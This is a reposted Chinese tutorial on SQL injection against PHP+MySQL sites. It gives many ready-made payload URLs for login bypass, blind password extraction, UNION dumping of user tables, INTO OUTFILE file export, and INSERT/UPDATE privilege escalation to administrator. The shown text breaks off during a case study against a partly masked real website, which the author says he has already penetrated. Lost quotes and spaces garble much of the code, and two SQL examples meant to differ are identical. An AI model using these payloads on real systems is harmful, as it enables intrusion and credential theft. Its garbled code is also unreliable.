SQL注入详解

2018-03-13 23:13:06 织梦安装使用
  • 文章介绍

2003年开始,喜欢脚本攻击的人越来越多,而且研究ASP下注入的朋友也逐渐多了起来,我看过最早的关于SQL注入的文章是一篇99年国外的高手写的,而现在国外的已经炉火纯青了,国内才开始注意这个技术,由此看来,国内的这方面的技术相对于国外还是有一段很大差距,话说回来,大家对SQL注入攻击也相当熟悉了,国内各大站点都有些堪称经典的作品,不过作为一篇完整的文章,我觉得还是有必要再说说其定义和原理。如果哪位高手已经达到炉火纯青的地步,不妨给本文挑点刺。权当指点小弟。

国内能看到php+Mysql注入的文章可能比较少,但是如果关注各种WEB程序的漏洞,就可以发现,其实这些漏洞的文章其实就是一个例子。不过由于国内研究PHP的人比研究ASP的人实在少太多,所以,可能没有注意,况且PHP的安全性比ASP高很多,导致很多人不想跨越这个门槛。

尽管如此,在PHP站点日益增多的今天,SQL注入仍是最有效最麻烦的一种攻击方式,有效是因为至少70%以上的站点存在SQLInjection漏洞,包括国内大部分安全站点,麻烦是因为MYSQL4以下的版本是不支持子语句的,而且当php.ini里的magic_quotes_gpcOn时。提交的变量中所有的(单引号),"(双引号),(反斜线)and空字符会自动转为含有反斜线的转义字符。给注入带来不少的阻碍。

1.1  注入工具

关于SQL注入,目前已经有工具软件支持,如WebCruiser- Web Vulnerability Scanner Web安全漏洞扫描工具,可以扫描出网站存在SQL注入、跨站脚本攻击、XPath注入的页面,并且可以进一步进行SQL注入验证、跨站攻击验证、XPath注入验证,官方网站为http://sec4app.com ):


如果您想深入学习手工注入,请继续往下看:

早期的时候,根据程序的代码,要构造出没有引号的语句形成有效的攻击,还真的有点困难

,好在现在的技术已经构造出不带引号的语句应用在某些场合。只要有经验,其实构造有效的语句一点也不难,甚至成功率也很高,但具体情况具体分析。首先要走出一个误区。

注:在没有具体说明的情况下,我们假设magic_quotes_gpc均为off

1.2  php+Mysql注入的误区

很多人认为在PHP+MYSQL下注入一定要用到单引号,或者是没有办法像MSSQL那样可以使用

"declare@asysnameselect@a=<command>execmaster.dbo.xp_cmdshell@a"这类的命令来消除引号,其实这个是大家对注入的一种误解或这说是对注入认识上的一种误区。为什么呢?因为不管在什么语言里,在引号(包括单双)里,所有字符串均是常量,即使是

dir这样的命令,也紧紧是字符串而已,并不能当做命令执行,除非是这样写的代码:

$command="dirc:";

system($command);

否则仅仅只是字符串,当然,我们所说的命令不单指系统命令,我们这里说的是SQL语句,要让我们构造的SQL语句正常执行,就不能让我们的语句变成字符串,那么什么情况下会用单引号?

什么时候不用呢?看看下面两句SQL语句:

SELECT*FROMarticleWHEREarticleid=$id

SELECT*FROMarticleWHEREarticleid=$id

两种写法在各种程序中都很普遍,但安全性是不同的,第一句由于把变量$id放在一对单引号中,这样使得我们所提交的变量都变成了字符串,即使包含了正确的SQL语句,也不会正常执行,而第二句不同,由于没有把变量放进单引号中,那我们所提交的一切,只要包含空格,那空格后的变量都会作为SQL语句执行,我们针对两个句子分别提交两个成功注入的畸形语句,来看看不同

之处。

①指定变量$id为:

1and1=2unionselect*fromuserwhereuserid=1/*

此时整个SQL语句变为:

SELECT*FROMarticleWHEREarticleid=1and1=2unionselect*fromuserwhere

userid=1/*

②指定变量$id为:

1and1=2unionselect*fromuserwhereuserid=1

此时整个SQL语句变为:

SELECT * FROM article WHEREarticleid=1 and 1=2 union select * from user where userid=1

看出来了吗?由于第一句有单引号,我们必须先闭合前面的单引号,这样才能使后面的语句

作为SQL执行,并要注释掉后面原SQL语句中的后面的单引号,这样才可以成功注入,如果php.ini

magic_quotes_gpc设置为on或者变量前使用了addslashes()函数,我们的攻击就会化为乌有,但第二句没有用引号包含变量,那我们也不用考虑去闭合、注释,直接提交就OK了。

大家看到一些文章给出的语句中没有包含单引号例如pinkeyes的《php注入实例》中给出的那句SQL语句,是没有包含引号的,大家不要认为真的可以不用引号注入,仔细看看PHPBB的代码,就可以发现,那个$forum_id所在的SQL语句是这样写的:

$sql="SELECT*

FROM".FORUMS_TABLE."

WHEREforum_id=$forum_id";

由于没有用单引号包含变量,才给pinkeyes这个家伙有机可乘,所以大家在写PHP程序的时候,记得用单引号把变量包含起来。当然,必要的安全措施是必不可少的。

1.3  简单的例子

先举一个例子来给大家了解一下PHP下的注入的特殊性和原理。当然,这个例子也可以告诉大

家如何学习构造有效的SQL语句。

我们拿一个用户验证的例子,首先建立一个数据库和一个数据表并插入一条记录,如下:

CREATETABLE`user`(

`userid`int(11)NOTNULLauto_increment,

`username`varchar(20)NOTNULLdefault,

`password`varchar(20)NOTNULLdefault,

PRIMARYKEY(`userid`)

)TYPE=MyISAMAUTO_INCREMENT=3;

#

#导出表中的数据`user`

#

INSERTINTO`user`VALUES(1,angel,mypass);

验证用户文件的代码如下:

<?php

$servername="localhost";

$dbusername="root";

$dbpassword="";

$dbname="injection";

mysql_connect($servername,$dbusername,$dbpassword)ordie("数据库连接失败");

$sql="SELECT*FROMuserWHEREusername=$usernameANDpassword=$password";

$result=mysql_db_query($dbname,$sql);

$userinfo=mysql_fetch_array($result);

if(empty($userinfo))

{

echo"登陆失败";

}else{

echo"登陆成功";

}

echo"

SQLQuerysql

";

?>

这时我们提交:

http://127.0.0.1/injection/user.php?username=angelor1=1

就会返回:

Warning:mysql_fetch_array():suppliedargumentisnotavalidMySQLresultresource

inF:wwwinjectionuser.phponline13

登陆失败

SQLQuery:SELECT*FROMuserWHEREusername=angelor1=1ANDpassword=

PHPWarning:mysql_fetch_array():suppliedargumentisnotavalidMySQLresult

resourceinF:wwwinjectionuser.phponline13

看到了吗?单引号闭合后,并没有注释掉后面的单引号,导致单引号没有正确配对,所以由

此可知我们构造的语句不能让Mysql正确执行,要重新构造:

http://127.0.0.1/injection/user.php?username=angelor1=1

这时显示"登陆成功",说明成功了。或者提交:

http://127.0.0.1/injection/user.php?username=angel/*

http://127.0.0.1/injection/user.php?username=angel%23

这样就把后面的语句给注释掉了!说说这两种提交的不同之处,我们提交的第一句是利用逻

辑运算,在ASP中运用可以说是非常广泛的,这个不用说了吧?第二、三句是根据mysql的特性,mysql支持/*#两种注释格式,所以我们提交的时候是把后面的代码注释掉,值得注意的是由于编码问题,在IE地址栏里提交#会变成空的,所以我们在地址栏提交的时候,应该提交%23,才会变成#,就成功注释了,这个比逻辑运算简单得多了,由此可以看出PHPASP强大灵活多了。

通过上面的例子大家应该对PHP+MYSQL的注入有个感性的认识了吧?

1.4  语句构造

PHP+MYSQL注入的博大精深不仅仅体现在认证体系的饶过,语句的构造才是最有趣味的地方,但构造语句和ACCESSMSSQL都有少许不同,但同样可以发挥得淋漓尽致。看下面的例子。

一、搜索引擎

网上有一大堆的PHP程序搜索引擎是有问题的,也就是提交特殊字符可以显示所有记录,包括

不符合条件的,其实这个危害也不算大,因为允许用户输入关键字进行模糊查询的地方大多数都

允许检索所有的记录。很多查询的设计就是这样的。

查询是只读的操作应该不会对数据产生破坏作用,不要太担心。不过泄露隐私不知道算不算

危害,下面是一个标准的搜索引擎:

<formmethod="GET"action="search.php"name="search">

<inputname="keywords"type="text"value=""size="15"><inputtype="submit"

value="Search">

</form>

<b>Searchresult</b>

<?php

$servername="localhost";

$dbusername="root";

$dbpassword="";

$dbname="injection";

mysql_connect($servername,$dbusername,$dbpassword)ordie("数据库连接失败");

$keywords=$_GET[keywords];

if(!empty($keywords)){

//$keywords=addslashes($keywords);

//$keywords=str_replace("_","_",$keywords);

//$keywords=str_replace("%","%",$keywords);

$sql="SELECT*FROM".$db_prefix."articleWHEREtitleLIKE%$keywords%

$searchORDERBYtitleDESC";

$result=mysql_db_query($dbname,$sql);

$tatol=mysql_num_rows($result);

echo"

SQLQuerysql

";

if($tatol<=0){

echo"The"<b>$keywords</b>"wasnotfoundinalltherecord.

n";

}else{

while($article=mysql_fetch_array($result)){

echo"<li>".htmlspecialchars($article[title])."

n";

}//while

}

}else{

echo"<b>leaseentersomekeywords.</b>

n";

}

?>

一般程序都是这样写的,如果缺乏变量检查,我们就可以改写变量,达到"注入"的目的,

尽管没有危害,当我们输入"___"".__""%"等类似的关键字时,会把数据库中的所有

记录都取出来。如果我们在表单提交:

%ORDERBYarticleid/*

%ORDERBYarticleid#

__ORDERBYarticleid/*

__ORDERBYarticleid#

SQL语句就被改变成下面的样子了,

SELECT*FROMarticleWHEREtitleLIKE%%ORDERBYarticleid/*%ORDERBYtitle

DESC

SELECT*FROMarticleWHEREtitleLIKE%__ORDERBYarticleid#%ORDERBYtitle

DESC

就会列出所有记录,包括被隐藏的,还可以改变排列顺序。这个虽然危害不大,也算是注入

的一种方式了吧?

二、查询字段

查询字段又可以分成两种,本表查询和跨表查询,这两种查询和ACCESSMSSQL差不多,甚至更强大、更灵活、更方便。不知道为什么就是有人认为比ASP难?我们在ASP中经常使用的个别函数在PHP里要有小小的改动,如下:

①本表查询

看下面一条SQL语句,多用在论坛或者会员注册系统查看用户资料的,

<?php

$servername="localhost";

$dbusername="root";

$dbpassword="";

$dbname="injection";

mysql_connect($servername,$dbusername,$dbpassword)ordie("数据库连接失败");

$sql="SELECT*FROMuserWHEREusername=$username";

$result=mysql_db_query($dbname,$sql);

$row=mysql_fetch_array($result);

if(!$row){

echo"该记录不存在";

echo"

SQLQuerysql

";

exit;

}

echo"你要查询的用户ID是:$row[userid]n";

echo"

SQLQuerysql

";

?>

当我们提交的用户名为真时,就会正常返回用户的ID,如果为非法参数就会提示相应的错误,由于是查询用户资料,我们可以大胆猜测密码就存在这个数据表里(现在我还没有碰见过密码是单独存在另一个表的程序),记得刚才的身份验证程序吗?和现在的相比,就少了一个AND条件,如下:

SELECT*FROMuserWHEREusername=$usernameANDpassword=$passwordSELECT*FROM

userWHEREusername=$username

相同的就是当条件为真时,就会给出正确的提示信息,如果我们构造出后面的AND条件部分,并使这部分为真,那我们的目的也就达到了,还是利用刚才建立的user数据库,用户名为angel

密码为mypass

看了上面的例子,应该知道构造了吧,如果我们提交:

http://127.0.0.1/injection/user.php?username=angelandpassword=mypass

这个是绝对为真的,因为我们这样提交上面的SQL语句变成了下面的样子:

SELECT*FROMuserWHEREusername=angelANDpassword=mypass

但在实际的攻击中,我们是肯定不知道密码的,假设我们知道数据库的各个字段,下面我们

就开始探测密码了,首先获取密码长度:

http://127.0.0.1/injection/user.php?username=angelandLENGTH(password)=6

ACCESS中,用LEN()函数来获取字符串长度,在MYSQL中,要使用LENGTH(),只要没有构造

错误,也就是说SQL语句能正常执行,那返回结果无外乎两种,不是返回用户ID,就是返回"该记

录不存在"。当用户名为angel并且密码长度为6的时候返回真,就会返回相关记录,是不是和ASP

里一样?再用LEFT()RIGHT()MID()函数猜密码:

http://127.0.0.1/injection/user.php?username=angelandLEFT(password,1)=m

http://127.0.0.1/injection/user.php?username=angelandLEFT(password,2)=my

http://127.0.0.1/injection/user.php?username=angelandLEFT(password,3)=myp

http://127.0.0.1/injection/user.php?username=angelandLEFT(password,4)=mypa

http://127.0.0.1/injection/user.php?username=angelandLEFT(password,5)=mypas

http://127.0.0.1/injection/user.php?username=angelandLEFT(password,6)=mypass

看,密码不是出来了吗?简单吧?当然实际情况会有不少条件限制,下面还会讲到这个例子

的深入应用。

②跨表查询

这部分就和ASP有点出入了,除了一定要用UNION连接两条SQL语句,最难掌握的就是字段的数

量,如果看过MYSQL参考手册,就知道了在SELECT 中的select_expression

(select_expression 表示你希望检索的列[字段])部分列出的列必须具有同样的类型。第一个

SELECT 查询中使用的列名将作为结果集的列名返回。简单的说,也就是UNION后面查选的字段数

量、字段类型都应该与前面的SELECT一样,而且,如果前面的SELECT为真,就同时返回两个

SELECT的结果,当前面的SELECT为假,就会返回第二个SELECT所得的结果,某些情况会替换掉在

第一个SELECT原来应该显示的字段, 应该先知道前面查询表的数据表的结构。如果我们查询两

个数据表的字段相同,类型也相同,我们就可以这样提交:

SELECT * FROM article WHEREarticleid=$id UNION SELECT * FROM……

  如果字段数量、字段类型任意一个不相同,就只能搞清除数据类型和字段数量,这样提交:

SELECT * FROM article WHEREarticleid=$id UNION SELECT 1,1,1,1,1,1,1 FROM……

  否则就会报错:

The used SELECT statementshave a different number of columns

  如果不知道数据类型和字段数量,可以用1来慢慢试,因为1属于intstrvar类型,所以我们只

要慢慢改变数量,一定可以猜到的。如果不能马上理解上面的理论,后面有很详细的例子。

  我们看看下面的数据结构,是一个简单的文章数据表。

CREATE TABLE `article` (

`articleid` int(11) NOTNULL auto_increment,

`title` varchar(100) NOTNULL default ,

`content` text NOT NULL,

PRIMARY KEY (`articleid`)

) TYPE=MyISAMAUTO_INCREMENT=3 ;

#

# 导出表中的数据`article`

#

INSERT INTO `article`VALUES (1, 我是一个不爱读书的孩子,中国的教育制度真是请文明用语

落后!如果我当教育部长。我要把所有老师都解雇!);

INSERT INTO `article`VALUES (2, 我恨死你,我恨死你了,你是什么东西啊);

  这个表的字段类型分别是intvarchartext,如果我们用UNION联合查询的时候,后面的查

询的表的结构和这个一样。就可以用"SELECT*",如果有任何一个不一样,那我们只能用

"SELECT 1,1,1,1……"了。

  下面的文件是一个很标准、简单的显示文章的文件,很多站点都是这种页面没有过滤,所以

成为最明显的注入点,下面就拿这个文件作为例子,开始我们的注入实验。

<?php

$servername ="localhost";

$dbusername ="root";

$dbpassword = "";

$dbname ="injection";

mysql_connect($servername,$dbusername,$dbpassword)or die ("数据库连接失败");

$sql = "SELECT * FROMarticle WHERE articleid=$id";

$result =mysql_db_query($dbname,$sql);

$row =mysql_fetch_array($result);

if (!$row)

{

echo"该记录不存在";

echo"SQL Querysql";

exit;

}

echo"title".$row[title]."n";

echo"content".$row[content]."n";

echo "SQLQuerysql";

?>

正常情况下,我们提交这样的一个请求:

http://127.0.0.1/injection/show.php?id=1

  就会显示articleid1的文章,但我们不需要文章,我们需要的是用户的敏感信息,就要查

user表,现在是查询刚才我们建立的user表。

  由于$id没有过滤给我们制造了这个机会,我们要把show.php文件中的SQL语句改写成类似这个样子:

SELECT * FROM article WHEREarticleid=$id UNION SELECT * FROM user ……

  由于这个代码是有单引号包含着变量的,我们现在提交:

http://127.0.0.1/injection/show.php?id=1union select 1,username,password from user/*

  按道理说,应该显示用户表的usernamepassword两个字段的内容才对啊,怎么正常显示文章呢?

  其实,我们提交的articleid=1article表里存在的,执行结果就是真了,自然返回前面SELECT的结果,当我们提交空的值或者提交一个不存在的值,就会蹦出我们想要的东西:

http://127.0.0.1/injection/show.php?id=union select 1,username,password from user/*

http://127.0.0.1/injection/show.php?id=99999union select 1,username,password from

user/*

  现在就在字段相对应的地方显示出我们所要的内容。如果还不清楚思路以及具体的应用,后面还会讲到一些高级的技巧。

三、导出文件

  这个是比较容易构造但又有一定限制的技术,我们经常可以看见以下的SQL语句:

select * from table intooutfile c:/file.txt

select * from table intooutfile /var/www/file.txt

  但这样的语句,一般很少用在程序里,有谁会把自己的数据导出呢?除非是备份,但我也没

有见过这种备份法。所以我们要自己构造,但必须有下面的前提条件:

必须导出到能访问的目录,这样才能下载。

能访问的目录必须要有可写的权限,否则导出会失败。

确保硬盘有足够的容量能容下导出的数据,这个很少见。

确保要已经存在相同的文件名,会导致导出失败,并提示:"Filec:/file.txt already

exists",这样可以防止数据库表和文件例如/etc/passwd被破坏。

  我们继续用上面的user.phpshow.php两个文件举例,如果一个一个用户猜解实在是太慢了

,如果对方的密码或者其他敏感信息很复杂,又不会写Exploit,要猜到什么时候啊?来点大范围

的,直接导出全部数据好了。user.php文件的查询语句,我们按照intooutfile的标准格式,注

入成下面的语句就能导出我们需要的信息了:

SELECT * FROM user WHEREusername=$username into outfile c:/file.txt

  知道怎么样的语句可以实现我们的目的,我们就很容易构造出相应的语句:

http://127.0.0.1/injection/user.php?username=angelinto outfile c:/file.txt

  出现了错误提示,但从返回的语句看来,我们的SQL语句确实是注入正确了,即使出现错误,

也是查询的问题了,文件还是乖乖的被导出了,

  由于代码本身就有WHERE来指定一个条件,所以我们导出的数据仅仅是满足这个条件的数据,

如果我们想导出全部呢?其实很简单,只要使这个WHERE条件为假,并且指定一个成真的条件,就

可以不用被束缚在WHERE里了,来看看经典1=1发挥作用了:

http://127.0.0.1/injection/user.php?username=or 1=1 into outfile c:/file.txt

  实际的SQL语句变为:

SELECT * FROM user WHEREusername= or 1=1 into outfile c:/file.txt

  这样username的参数是空的,就是假了,1=1永远是真的,那or前面的WHERE就不起作用了,

但千万别用and哦,否则是不能导出全部数据的。

  既然条件满足,在这种情况下就直接导出所有数据!

  但是跨表的导出文件的语句该怎么构造呢?还是用到UNION联合查询,所以一切前提条件都应

该和UNION、导出数据一样,跨表导出数据正常情况下应该相下面的一样:

SELECT * FROM article WHEREarticleid=1 union select 1,username,password from user

into outfile c:/user.txt

  这样可以导出文件了,如果我们要构造就提交:

http://127.0.0.1/injection/show.php?id=1union select 1,username,password from user

into outfile c:/user.txt

  文件是出来了,可是有一个问题,由于前面的查询articleid=1为真了,所以导出的数据也

有整个文章的一部分,

  所以我们把应该使前面的查询语句为假,才能只导出后面查询的内容,只要提交:

http://127.0.0.1/injection/show.php?id=union select 1,username,password from user

into outfile c:/user.txt

  这样才能得到我们想要的资料

值得注意的是想要导出文件,必须magic_quotes_gpc没有打开,并且程序也没有用到addslashes()函数,还有不能对单引号做任何过滤,因为我们在提交导出路径的时候,一定要用引号包含起来,否则,系统不会认识那是一个路径,也不用尝试用char()或者什么函数,那是徒劳。

INSERT

  如果大家认为MYSQL中注入仅仅适用于SELECT就大错特错了,其实还有两个危害更大的操作,

那就是INSERTUPDATE语句,这类例子不多,先面先说说INSERT,这主要应用于改写插入的数据

,我们来看个简单而又广泛存在的例子,看看下面的数据结构:

CREATE TABLE `user` (

`userid` INT NOT NULLAUTO_INCREMENT ,

`username` VARCHAR( 20 )NOT NULL ,

`password` VARCHAR( 50 )NOT NULL ,

`homepage` VARCHAR( 255 )NOT NULL ,

`userlevel` INT DEFAULT 1NOT NULL ,

PRIMARY KEY ( `userid` )

);

  其中的userlevel代表用户的等级,1是普通用户,2是普通管理员,3是超级管理员,一个注

册程序默认是注册成普通用户,如下:

INSERT INTO `user` (userid,username, password, homepage, userlevel) VALUES (,

$username, $password,$homepage, 1);

  默认userlevel字段是插入1,其中的变量都是没有经过过滤就直接写入数据库的,不知道大

家有什么想法?对,就是直接注入,使我们一注册就是超级管理员。我们注册的时候,构造

$homepage变量,就可以达到改写的目的,指定$homepage变量为:

http://4ngel.net, 3)#

  插入数据库的时候就变成:

INSERT INTO `user` (userid,username, password, homepage, userlevel) VALUES (,

angel, mypass,http://4ngel.net, 3)#, 1);

  这样就注册成为超级管理员了。但这种利用方法也有一定的局限性,比如,我没有需要改写

的变量如userlevel字段是数据库的第一个字段,前面没有地方给我们注入,我们也没有办法了。

或许INSERT还有更广泛的应用,大家可以自行研究,但原理都是一样的。

UPDATE  和INSERT相比,UPDATE的应用更加广泛,如果过滤不够,足以改写任何数据,还是拿刚才的注册程序来说,数据结构也不变,我们看一下用户自己修改自己的资料,SQL语句一般都是这样写的:

UPDATE user SETpassword=$password, homepage=$homepage WHERE id=$id

  用户可以修改自己的密码和主页,大家有什么想法?总不至于还是提升权限吧?程序中的SQL语句又没有更新userlevel字段,怎么提升啊?还是老办法,构造$homepage变量,指定$homepage变量为:

http://4ngel.net,userlevel=3

  整个SQL语句就变成这样:

UPDATE user SETpassword=mypass, homepage=http://4ngel.net, userlevel=3 WHERE

id=$id

  我们是不是又变成超级管理员了?程序不更新userlevel字段,我们自己来。

还有更加绝的,直接修改任意用户的资料,还是刚才的例句,但这次安全一点,使用MD5加密:

UPDATE user SETpassword=MD5($password), homepage=$homepage WHERE id=$id

  尽管密码被加密了,但我们还是可以构造我们需要的语句,我们指定$password为:

mypass) WHEREusername=admin#

  这时整个语句变为:

UPDATE user SETpassword=MD5(mypass) WHERE username=admin#),

homepage=$homepage WHEREid=$id

  这样就更改了更新的条件,我管你后面的代码是不是在哭这说:我们还没有执行啊。当然,

也可以从$id下手,指定$id为:

OR username=admin

  这时整个语句变为:

UPDATE user SETpassword=MD5($password), homepage=$homepage WHERE id= OR

username=admin

  照样也可以达到修改的目的,所以说注入是非常灵活的技术。如果有些变量是从数据库读取的固定值,甚至用$_SESSION[username]来读取服务器上的SESSION信息时,我们就可以在原来的WHERE之前自己构造WHERE并注释掉后面的代码,由此可见,灵活运用注释也是注入的技巧之一。这些技巧把注入发挥得淋漓尽致。不得不说是一种艺术。

  变量的提交方式可以是GETPOST,提交的位置可以是地址栏、表单、隐藏表单变量或修改本地COOKIE信息等,提交的方式可以是本地提交,服务器上提交或者是工具提交,多种多样就看你如何运用了。

1.5  高级应用

1使用MYSQL内置函数

  我们在ACCESSMSSQL中的注入,有很多比较高级的注入方法,比如深入到系统,猜中文等,

这些东西,在MYSQL也能很好得到发挥,其实在MYSQL有很多内置函数都可以用在SQL语句里,这样

就可以使我们能在注入时更灵活,得到更多关于系统的信息。有几个函数是比较常用的:

DATABASE()

USER()

SYSTEM_USER()

SESSION_USER()

CURRENT_USER()

……

  各个函数的具体作用大家可以查阅MYSQL手册比如下面这句UPDATE

UPDATE article SETtitle=$title WHERE articleid=1

  我们可以指定$title为以上的各个函数,因为没有被引号包含,所以函数是能正确执行的:

UPDATE article SETtitle=DATABASE() WHERE id=1

#把当前数据库名更新到title字段

UPDATE article SET title=USER()WHERE id=1

#把当前MySQL 用户名更新到title字段

UPDATE article SETtitle=SYSTEM_USER() WHERE id=1

#把当前MySQL 用户名更新到title字段

UPDATE article SETtitle=SESSION_USER() WHERE id=1

#把当前MySQL 用户名更新到title字段

UPDATE article SETtitle=CURRENT_USER() WHERE id=1

#把当前会话被验证匹配的用户名更新到title字段

  灵活运用MYSQL内置的函数,可以获得不少有用的信息,比如数据库版本、名字、用户、当前

数据库等,比如前面跨表查询的例子,提交:

http://127.0.0.1/injection/show.php?id=1

  可以看到一篇文章,我们怎么样才能知道MYSQL数据库的相关信息呢?同样也是用MYSQL内置

函数配合UNION联合查询,不过相比之下就简单得多了,甚至还可以读取文件!既然要用到UNION

,同样要满足UNION的条件--字段数、数据类型相同。如果我们知道了数据结构,直接构造:

http://127.0.0.1/injection/show.php?id=-1union select 1,database(),version()

  就可以返回当前数据库名和数据库版本,构造是比较容易的。

  下面附上一段由我好友Super·Hei写的代码,可以把字符串转换为ASCII代码。感谢提供。

#!/usr/bin/perl

#cody by Super·Hei

#to angel

#C:>test.pl c:boot.ini

#99,58,92,98,111,111,116,46,105,110,105

$ARGC = @ARGV;

if ($ARGC != 1) {

print"Usage: $0 n";

exit(1);

}

$path=shift;

@char = unpack(C*,$path);

$asc=join(",",@char);

print $asc;

2、不加单引号注入

注:现在我们假设magic_quotes_gpcon了。

  众所周知,整形的数据是不需要用引号引起来的,而字符串就要用引号,这样可以避免很多

问题。但是如果仅仅用整形数据,我们是没有办法注入的,所以我需要把我们构造的语句转换成

整形类型,这个就需要用到CHAR()ASCII(),ORD(),CONV()这些函数了,举个简单的例子:

SELECT * FROM user WHEREusername=angel

  如何使$username不带引号呢?很简单我们这样提交就可以了。

SELECT * FROM user WHEREuser name=char(97,110,103,101,108)

# char(97,110,103,101,108) 相当于angel,十进制。

SELECT * FROM user WHEREusername=0x616E67656C

# 0x616E67656C 相当于angel,十六进制。

  其他函数大家自己去测试好了,但是前提就如上面所说的,我们可以构造的变量不被引号所

包含才有意义,不然我们不管构造什么,只是字符串,发挥不了作用,比如前面猜密码的例子

(user,php),我们把查询条件改为userid

SELECT * FROM user WHEREuserid=userid

  按照正常的,提交:

http://127.0.0.1/injection/user.php?userid=1

  就可以查询userid1的用户资料,因为1是数字,所以有没有引号都无所谓,但是如果我们

构造:

http://127.0.0.1/injection/user.php?userid=1and password=mypass

  绝对错误,因为mypass是字符串,除非提交:

http://127.0.0.1/injection/user.php?userid=1and password=mypass

  由于magic_quotes_gpc打开的关系,这个是绝对不可能的。引号会变成/,我们有什么办法

可以把这些字符串变成整形数据吗?就是用CHAR()函数,如果我们提交:

http://127.0.0.1/injection/user.php?userid=1and password=char

(109,121,112,97,115,115)

  正常返回,实践证明,我们用CHAR()是可行的,我们就把CHAR()用进LEFT函数里面逐位猜解

http://127.0.0.1/injection/user.php?userid=1and LEFT(password,1)=char(109)

  正常返回,说明userid1的用户,password字段第一位是char(109),我们继续猜:

http://127.0.0.1/injection/user.php?userid=1and LEFT(password,2)=char(109,121)

  又正常返回,说明正确,但这样影响到效率,既然是整形,我们完全可以用比较运算符来比

较:

http://127.0.0.1/injection/user.php?userid=1and LEFT(password,1)>char(100)

  然后适当调整char()里面的数字来确定一个范围,很快就可以猜出来,到了后面的时候,还

是可以用比较运算符来比较:

http://127.0.0.1/injection/user.php?userid=1and LEFT(password,3)>char(109,121,111)

  而原来已经猜好的不用改变了,很快就可以猜完:

http://127.0.0.1/injection/user.php?userid=1and LEFT(password,6)=char

(109,121,112,97,115,115)

 然后在mysql>命令提示符下或者在phpMyadmin里面执行:

selectchar(109,121,112,97,115,115)

  就会返回:mypass

  当然也可以使用SUBSTRING(str,pos,len)MID(str,pos,len)函数,从字符串str pos

位置起返回len 个字符的子串。这个和ACCESS是一样的。还是刚才的例子,我们猜password字段

的第三位、第四位试试,第三位是p,第四位是a,我们这样构造:

http://127.0.0.1/injection/user.php?userid=1and mid(password,3,1)=char(112)

http://127.0.0.1/injection/user.php?userid=1and mid(password,4,1)=char(97)

  我们要的结果就迸出来了。当然,如果觉得麻烦,还可以用更简单的办法,就是利用ord()

数,具体作用可以去查看MYSQL参考手册,该函数返回的是整形类型的数据,可以用比较运算符进

行比较、当然得出的结果也就快多了,也就是这样提交:

http://127.0.0.1/injection/user.php?userid=1and ord(mid(password,3,1))>111

http://127.0.0.1/injection/user.php?userid=1and ord(mid(password,3,1))<113

http://127.0.0.1/injection/user.php?userid=1and ord(mid(password,3,1))=112

  这样我们就得出结果了,然后我们再用char()函数还原出来就好了。至于其他更多函数,大

家可以自己去试验,限于篇幅也不多说了。

3、快速确定未知数据结构的字段及类型

  如果不清楚数据结构,很难用UNION联合查询,这里我告诉大家一个小技巧,也是非常有用非

常必要的技巧,充分发挥UNION的特性。

  还是拿前面的show.php文件做例子,当我们看到形如xxx.php?id=xxxURL的时候,如果要

UNION,就要知道这个xxx.php查询的数据表的结构,我们可以这样提交来快速确定有多少个字段

http://127.0.0.1/injection/show.php?id=-1union select 1,1,1

  有多少个"1"就表示有多少个字段,可以慢慢试,如果字段数不相同,就肯定会出错,如果

字段数猜对了,就肯定会返回正确的页面,字段数出来了,就开始判断数据类型,其实也很容易

,随便用几个字母代替上面的1,但是由于magic_quotes_gpc打开,我们不能用引号,老办法,还

是用char()函数,char(97)表示字母"a",如下:

http://127.0.0.1/injection/show.php?id=-1union select char(97),char(97),char(97)

  如果是字符串,那就会正常显示"a",如果不是字符串或文本,也就是说是整形或布尔形,

就会返回"0"

  判断最主要靠什么?经验,我以前一直都说,经验很重要,丰富经验能更好的作出正确的判

断,因为程序的代码是千变万化的,我们这里是只是举个最简单的例子,这里由于局限性,程序

都是我自己写、自己测试的。方法因程序而异。希望大家在实战中,注意区别,不要照搬,灵活

运用才是根本。

4、猜数据表名

  在快速确定未知数据结构的字段及类型的基础上,我们又可以进一步的分析整个数据结构,

那就是猜表名,其实使用UNION联合查询的时候,不管后面的查询怎么"畸形",只要没有语句上

的问题,都会正确返回,也就是说,我们可以在上面的基础上,进一步猜到表名了,比如刚才我

们提交:

http://127.0.0.1/injection/show.php?id=1union select 1,1,1

  返回正常的内容,就说明这个文件查询的表内是存在3个字段的,然后我们在后面加入from

table_name,也就是这样:

http://127.0.0.1/injection/show.php?id=1union select 1,1,1 from members

http://127.0.0.1/injection/show.php?id=1union select 1,1,1 from admin

http://127.0.0.1/injection/show.php?id=1union select 1,1,1 from user

  如果这个表是存在的,那么同样会返回应该显示的内容,如果表不存在,当然就会出错了,

所以我的思路是先获得有漏洞的文件所查询表的数据结构,确定结果后再进一步查询表,这个手

工操作是没有效率的问题的,不到一分钟就可以查询到了,比如我们在测试www.***bai.net就是

这样,后面的实例会涉及到。

  但是有一个问题,由于很多情况下,很多程序的数据表都会有一个前缀,有这个前缀就可以

让多个程序共用一个数据库。比如

site_article

site_user

site_download

forum_user

forum_post

……

  如果安全意识高的话,管理员会加个表名前缀,那猜解就很麻烦了,不过完全可以做一个表

名列表来跑。这里就不多说了,后面会有一个具体的例子来解开一切迷茫^_^……

1.6  实例

  下面对一个国内非常出名的站点进行善意的攻击测试,来对上面的知识进行一次大概的验证,出于影响等诸多因素,我们称这个站点为HB(www.***bai.net)HB使用的是夜猫的文章系统和下载系统,不过文章系统已经升级了,我们就不看了,下载系统是绝对有问题的,不过由于我现在写文章的电脑不上网,我用相同的下载系统在本地进行一次模拟的测试。实际上,我事前早用更狠毒的技术渗透过HB

  首先我们找到有问题的文件,show.php?id=1,我们马上看看数据结构和表名,看看HB有没有改字段和表名,我早知道夜猫下载系统1.0.1版的软件信息的表有19个字段,就提交:

http://127.0.0.1/ymdown/show.php?id=1union select

1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1

  注意,这里有19"1",返回正常的页面,我可以可以肯定字段没有变,我们也就别拖拉了,直接看看夜猫的默认用户数据表是否存在:

http://127.0.0.1/ymdown/show.php?id=1union select

1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1from ymdown_user

    嗯,这个HB还真是够懒的,这么烂的程序也不知道先修改一下再用,不过也是,没有多少人和我一样有闲心先去加固程序才用的,再看默认的用户id还在不在?

http://127.0.0.1/ymdown/show.php?id=1union select

1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1from ymdown_user where id=1

